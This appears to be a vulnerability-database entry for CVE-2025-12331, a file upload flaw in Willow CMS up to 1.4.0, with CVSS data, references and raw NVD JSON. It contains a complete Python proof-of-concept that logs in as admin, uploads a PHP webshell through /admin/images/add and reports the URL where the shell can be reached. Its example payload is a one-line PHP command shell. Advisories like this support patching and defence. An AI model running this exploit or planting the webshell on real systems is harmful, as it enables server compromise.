Security Vulnerability Report
中文
CVE-2025-12331 CVSS 4.7 MEDIUM

CVE-2025-12331

Published: 2025-10-27 22:15:41
Last Modified: 2026-04-29 01:00:02

Description

A weakness has been identified in Willow CMS up to 1.4.0. Impacted is an unknown function of the file /admin/images/add. This manipulation causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be exploited.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:matthewdeaves:willow_cms:*:*:*:*:*:*:*:* - VULNERABLE
Willow CMS <= 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12331 PoC - Willow CMS Unrestricted File Upload Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re def exploit_cve_2025_12331(target_url, username, password, webshell_content): """ Exploit for Willow CMS <= 1.4.0 unrestricted file upload vulnerability Args: target_url: Base URL of Willow CMS (e.g., http://target.com/willow) username: Admin username password: Admin password webshell_content: Content of the webshell to upload """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/admin/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) # Step 2: Upload malicious file via /admin/images/add endpoint upload_url = f"{target_url}/admin/images/add" # Prepare malicious file files = { 'image': ('webshell.php', webshell_content, 'application/x-php') } upload_response = session.post(upload_url, files=files, timeout=10) # Step 3: Extract uploaded file path # The response may contain the uploaded file path or name uploaded_path = None if upload_response.status_code == 200: # Try to extract file path from response match = re.search(r'/uploads/images/([^\s"<>]+)', upload_response.text) if match: uploaded_path = f"{target_url}/uploads/images/{match.group(1)}" if uploaded_path: print(f"[+] File uploaded successfully!") print(f"[+] Access webshell at: {uploaded_path}") return uploaded_path else: print("[-] Failed to extract upload path") return None except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example webshell content webshell = "<?php system($_GET['cmd']); ?>" # Usage example if len(sys.argv) > 3: target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_12331(target, user, pwd, webshell) else: print("Usage: python3 poc.py <target_url> <username> <password>") print("Example: python3 poc.py http://localhost/willow admin password123")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12331", "sourceIdentifier": "[email protected]", "published": "2025-10-27T22:15:41.347", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Willow CMS up to 1.4.0. Impacted is an unknown function of the file /admin/images/add. This manipulation causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:matthewdeaves:willow_cms:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.4.0", "matchCriteriaId": "E6C082B8-A6EB-4B96-818C-2BF3FB8CA4D9"}]}]}], "references": [{"url": "https://github.com/matthewdeaves/willow/issues/132", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.330116", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.330116", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674439", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.youtube.com/watch?v=zacD0QLUYs8", "source": "[email protected]", "tags": ["Exploit"]}]}}